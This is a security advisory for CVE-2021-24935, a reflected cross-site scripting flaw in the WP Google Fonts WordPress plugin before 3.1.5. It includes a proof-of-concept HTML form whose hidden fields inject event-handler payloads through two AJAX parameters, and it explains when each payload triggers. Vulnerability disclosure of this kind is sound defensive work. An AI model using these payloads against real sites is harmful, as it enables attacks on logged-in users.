WP Google Fonts < 3.1.5 – Reflected Cross-Site Scripting | CVE 2021-24935

Description

The plugin does not escape the googlefont_ajax_name and googlefont_ajax_family parameter of the googlefont_action AJAx action (available to any authenticated user) before outputing them in attributes, leading Reflected Cross-Site Scripting issues

Proof of Concept

<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" id="hack" method="POST">
        <input type="hidden" name="action" value="googlefont_action" />
        <input type="hidden" name="googlefont_ajax_name" value='" onmouseover=alert(/XSS-1/) t="' />
        <input type="hidden" name="googlefont_ajax_family" value='"onmousemove=alert(/XSS-2/)//' />
        <input type="submit" value="Submit request" />
    </form>
  </body>

  <script>
    var form1 = document.getElementById('hack');
    //form1.submit();
</script>
</html>


The XSS from the googlefont_ajax_name will be triggered when the mouse will be over any of the checkbox. The one from googlefont_ajax_family  will be triggered only in section 1 and 4